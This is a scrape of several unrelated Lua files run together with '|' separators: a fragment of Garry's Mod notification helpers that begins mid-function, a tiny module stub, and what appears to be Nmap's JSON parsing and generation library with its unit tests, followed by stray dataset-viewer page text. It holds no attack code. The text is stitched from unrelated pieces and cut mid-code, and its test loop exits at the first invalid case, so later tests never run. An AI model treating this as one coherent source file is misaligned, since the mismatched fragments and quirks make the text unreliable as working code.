Msg("[EE] " .. s .. "\n")
end
function HMLWarning( s )
displayTime = displayTime or 7
if( CLIENT ) then
GAMEMODE:AddNotify("[WW] " .. s, NOTIFY_HINT, displayTime)
if( HUD_System.NextCheckTime ) then HUD_System.NextCheckTime = HUD_System.NextCheckTime + 3 end
end
Msg("[WW] " .. s .. "\n")
end
function HMLMessage( s )
displayTime = displayTime or 7
if( CLIENT ) then
GAMEMODE:AddNotify("[II] " .. s, NOTIFY_GENERIC, displayTime)
end
Msg("[II] " .. s .. "\n")
end
|
local M = {}
M.oGameDb = nil
return M
|
---
-- Library methods for handling JSON data. It handles JSON encoding and
-- decoding according to RFC 4627.
--
-- There is a test section at the bottom which shows some example
-- parsing. If you want to parse JSON, you can test it by pasting sample JSON
-- into the <code>TESTS</code> table and run the <code>test</code> method
--
-- There is a straightforward mapping between JSON and Lua data types. One
-- exception is JSON <code>NULL</code>, which is not the same as Lua
-- <code>nil</code>. (A better match for Lua <code>nil</code> is JavaScript
-- <code>undefined</code>.) <code>NULL</code> values in JSON are represented by
-- the special value <code>json.NULL</code>.
--
-- @author Martin Holst Swende (originally), David Fifield, Patrick Donnelly
-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
-- Version 0.4
-- Created 01/25/2010 - v0.1 - created by Martin Holst Swende <martin@swende.se>
-- Heavily modified 02/22/2010 - v0.3. Rewrote the parser into an OO-form, to not have to handle
-- all kinds of state with parameters and return values.
-- Modified 02/27/2010 - v0.4 Added unicode handling (written by David Fifield). Renamed toJson
-- and fromJson into generate() and parse(), implemented more proper numeric parsing and added some more error checking.
local bit = require "bit";
local nmap = require "nmap"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local unicode = require "unicode"
local unittest = require "unittest"
_ENV = stdnse.module("json", stdnse.seeall)
local lpeg = require "lpeg";
local locale = lpeg.locale;
local P = lpeg.P;
local R = lpeg.R;
local S = lpeg.S;
local V = lpeg.V;
local C = lpeg.C;
local Cb = lpeg.Cb;
local Cc = lpeg.Cc;
local Cf = lpeg.Cf;
local Cg = lpeg.Cg;
local Cp = lpeg.Cp;
local Cs = lpeg.Cs;
local Ct = lpeg.Ct;
local Cmt = lpeg.Cmt;
-- case sensitive keyword
local function K (a)
return P(a) * -(locale().alnum + "_");
end
local NULL = {};
_M.NULL = NULL;
--- Makes a table be treated as a JSON Array when generating JSON
--
-- A table treated as an Array has all non-number indices ignored.
-- @param t a table to be treated as an array
function make_array(t)
local mt = getmetatable(t) or {}
mt["json"] = "array"
setmetatable(t, mt)
return t
end
--- Makes a table be treated as a JSON Object when generating JSON
--
-- A table treated as an Object has all non-number indices ignored.
-- @param t a table to be treated as an object
function make_object(t)
local mt = getmetatable(t) or {}
mt["json"] = "object"
setmetatable(t, mt)
return t
end
-- Decode a Unicode escape, assuming that self.pos starts just after the
-- initial \u. May consume an additional escape in the case of a UTF-16
-- surrogate pair. See RFC 2781 for UTF-16.
local unicode_esc = P [[\u]] * C(locale().xdigit * locale().xdigit * locale().xdigit * locale().xdigit);
local function unicode16 (subject, position, hex)
local cp = assert(tonumber(hex, 16));
if cp < 0xD800 or cp > 0xDFFF then
return position, unicode.utf8_enc(cp);
elseif cp >= 0xDC00 and cp <= 0xDFFF then
error(("Not a Unicode character: U+%04X"):format(cp));
end
-- Beginning of a UTF-16 surrogate.
local lowhex = unicode_esc:match(subject, position);
if not lowhex then
error(("Bad unicode escape \\u%s (missing low surrogate)"):format(hex))
else
local cp2 = assert(tonumber(lowhex, 16));
if not (cp2 >= 0xDC00 and cp2 <= 0xDFFF) then
error(("Bad unicode escape \\u%s\\u%s (bad low surrogate)"):format(hex, lowhex))
end
position = position+6 -- consume '\uXXXX'
cp = 0x10000 + bit.band(cp, 0x3FF) * 0x400 + bit.band(cp2, 0x3FF)
return position, unicode.utf8_enc(cp);
end
end
-- call lpeg.locale on the grammar to add V "space"
local json = locale {
V "json";
json = V "space"^0 * V "value" * V "space"^0 * P(-1); -- FIXME should be 'V "object" + V "array"' instead of 'V "value"' ?
value = V "string" +
V "number" +
V "object" +
V "array" +
K "true" * Cc(true)+
K "false" * Cc(false)+
K "null" * Cc(NULL);
object = Cf(Ct "" * P "{" * V "space"^0 * (V "members")^-1 * V "space"^0 * P "}", rawset) / make_object;
members = V "pair" * (V "space"^0 * P "," * V "space"^0 * V "pair")^0;
pair = Cg(V "string" * V "space"^0 * P ":" * V "space"^0 * V "value");
array = Ct(P "[" * V "space"^0 * (V "elements")^-1 * V "space"^0 * P "]") / make_array;
elements = V "value" * V "space"^0 * (P "," * V "space"^0 * V "value")^0;
string = Ct(P [["]] * (V "char")^0 * P [["]]) / table.concat;
char = P [[\"]] * Cc [["]] +
P [[\\]] * Cc [[\]] +
P [[\b]] * Cc "\b" +
P [[\f]] * Cc "\f" +
P [[\n]] * Cc "\n" +
P [[\r]] * Cc "\r" +
P [[\t]] * Cc "\t" +
P [[\u]] * Cmt(C(V "xdigit" * V "xdigit" * V "xdigit" * V "xdigit"), unicode16) +
P [[\]] * C(1) +
(C(1) - P [["]]);
number = C((P "-")^-1 * V "space"^0 * (V "hexadecimal" + V "floating" + V "integer")) / function (a) return assert(tonumber(a)) end;
hexadecimal = P "0x" * V "xdigit"^1;
floating = (V "digit"^1 * P "." * V "digit"^0 + V "digit"^0 * P "." * V "digit"^1) * (V "exponent")^-1;
integer = V "digit"^1 * (V "exponent")^-1;
exponent = S "eE" * (S "-+")^-1 * V "digit"^1;
};
json = P(json); -- compile the grammar
--- Parses JSON data into a Lua object.
--
-- This is the method you probably want to use if you use this library from a
-- script.
--@param data a json string
--@return status true if ok, false if bad
--@return an object representing the json, or error message
function parse (data)
local status, object = pcall(json.match, json, data);
if not status then
return false, object;
elseif object then
return true, object;
else
return false, "syntax error";
end
end
--Some local shortcuts
local function dbg(str,...)
stdnse.debug1("Json:"..str, ...)
end
local function d4(str,...)
if nmap.debugging() > 3 then dbg(str, ...) end
end
local function d3(str,...)
if nmap.debugging() > 2 then dbg(str, ...) end
end
--local dbg =stdnse.debug
local function dbg_err(str,...)
stdnse.debug1("json-ERR:"..str, ...)
end
-- See section 2.5 for escapes.
-- For convenience, ESCAPE_TABLE maps to escape sequences complete with
-- backslash, and REVERSE_ESCAPE_TABLE maps from single escape characters
-- (no backslash).
local ESCAPE_TABLE = {}
local REVERSE_ESCAPE_TABLE = {}
do
local escapes = {
["\x22"] = "\"",
["\x5C"] = "\\",
["\x2F"] = "/",
["\x08"] = "b",
["\x0C"] = "f",
["\x0A"] = "n",
["\x0D"] = "r",
["\x09"] = "t",
}
for k, v in pairs(escapes) do
ESCAPE_TABLE[k] = "\\" .. v
REVERSE_ESCAPE_TABLE[v] = k
end
end
-- Escapes a string
--@param str the string
--@return a string where the special chars have been escaped
local function escape(str)
return "\"" .. string.gsub(str, ".", ESCAPE_TABLE) .. "\""
end
--- Checks what JSON type a variable will be treated as when generating JSON
-- @param var a variable to inspect
-- @return a string containing the JSON type. Valid values are "array",
-- "object", "number", "string", "boolean", and "null"
function typeof(var)
local t = type(var)
if var == NULL then
return "null"
elseif t == "table" then
local mtval = rawget(getmetatable(var) or {}, "json")
if mtval == "array" or (mtval ~= "object" and #var > 0) then
return "array"
else
return "object"
end
else
return t
end
error("Unknown data type in typeof")
end
--- Creates json data from an object
--@param obj a table containing data
--@return a string containing valid json
function generate(obj)
-- NULL-check must be performed before
-- checking type == table, since the NULL-object
-- is a table
if obj == NULL then
return "null"
elseif obj == false then
return "false"
elseif obj == true then
return "true"
elseif type(obj) == "number" then
return string.format("%g", obj)
elseif type(obj) == "string" then
return escape(obj)
elseif type(obj) == "table" then
local k, v, elems, jtype
elems = {}
jtype = typeof(obj)
if jtype == "array" then
for _, v in ipairs(obj) do
elems[#elems + 1] = generate(v)
end
return "[" .. table.concat(elems, ", ") .. "]"
elseif jtype == "object" then
for k, v in pairs(obj) do
elems[#elems + 1] = escape(k) .. ": " .. generate(v)
end
return "{" .. table.concat(elems, ", ") .. "}"
end
end
error("Unknown data type in generate")
end
if not unittest.testing() then
return _ENV
end
----------------------------------------------------------------------------------
-- Test-code for debugging purposes below
----------------------------------------------------------------------------------
local TESTS = {
{
'{"a":1}',
generates = '{"a": 1}',
is = "object",
test = function(o) return o["a"] == 1 end
},
{
'{"a":true}',
generates = '{"a": true}',
is = "object",
test = function(o) return o["a"] == true end
},
{
'{"a": false}',
generates = '{"a": false}',
is = "object",
test = function(o) return o["a"] == false end
},
{
'{"a": null \r\n, \t "b" \f:"ehlo"}',
is = "object",
test = function(o) return o["a"] == NULL end
},
{
'{"a\\"a":"a\\"b\\"c\\"d"}',
generates = '{"a\\"a": "a\\"b\\"c\\"d"}',
is = "object",
test = function(o) return o['a"a'] == 'a"b"c"d' end
},
{
'{"foo":"gaz\\"onk", "pi":3.14159,"hello":{ "wo":"rl\\td"}}',
is = "object",
test = function(o) return (
o["foo"] == 'gaz"onk' and
o["pi"] == 3.14159 and
o["hello"]["wo"] == "rl\td"
) end
},
{
'{"a":1, "b":2}',
is = "object",
test = function(o)
local j = generate(o)
return ( -- order is random
j == '{"a": 1, "b": 2}' or
j == '{"b": 2, "a": 1}'
) end
},
{
'[1,2,3,4,5,null,false,true,"\195\164\195\165\195\182\195\177","bar"]',
generates = '[1, 2, 3, 4, 5, null, false, true, "\195\164\195\165\195\182\195\177", "bar"]',
is = "array",
test = function(o) return #o == 10 end
},
{
'[]',
generates = '[]',
is = "array",
test = function(o) return not next(o) end
},
{
'{}',
generates = '{}',
is = "object",
test = function(o) return not next(o) end
},
{'', valid=false},
{'null', valid=false}, -- error
{'"abc"', valid=false}, -- error
{'{a":1}', valid=false}, -- error
{'{"a" bad :1}', valid=false}, -- error
{
'["a\\\\t"]',
generates = '["a\\\\t"]',
is = "array",
test = function(o) return o[1] == "a\\t" end
}, -- Should become Lua {"a\\t"}
{'[0.0.0]', valid=false}, -- error
{
'[-1]',
generates = '[-1]',
is = "array",
},
{
'[-1.123e-2]',
generates = '[-0.01123]',
is = "array",
},
{
'[5e3]',
generates = '[5000]',
is = "array",
},
{
'[5e+3]',
generates = '[5000]',
is = "array",
},
{
'[5E-3]',
generates = '[0.005]',
is = "array",
},
{
'[5.5e3]',
generates = '[5500]',
is = "array",
},
{
'["a\\\\"]',
generates = '["a\\\\"]',
is = "array",
}, -- Should become Lua {"a\\"}
{
' {"a}": 1} ',
generates = '{"a}": 1}',
is = "object",
test = function(o) return o["a}"] == 1 end
}, -- Should become Lua {"a}" = 1}
{'["key": "value"]', valid=false}, -- error
{
'["\\u0041"]',
generates = '["A"]',
is = "array",
}, -- Should become Lua {"A"}
{'["\\uD800"]', valid=false}, -- error
{
'["\\uD834\\uDD1EX"]',
generates = '["\240\157\132\158X"]',
is = "array",
}, -- Should become Lua {"\240\157\132\158X"}
}
test_suite = unittest.TestSuite:new()
local equal = unittest.equal
local is_false = unittest.is_false
local is_true = unittest.is_true
for _, test in ipairs(TESTS) do
local status, val = parse(test[1])
if test.valid == false then
test_suite:add_test(is_false(status), "Syntax error status is false")
test_suite:add_test(equal(val, "syntax error"), "Syntax error")
break
end
if test.generates then
test_suite:add_test(equal(generate(val), test.generates), "Generate")
end
if test.is then
test_suite:add_test(equal(typeof(val), test.is), "JSON type")
end
if test.test then
test_suite:add_test(is_true(test.test(val)), "Extra test")
end
end
return _ENV;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.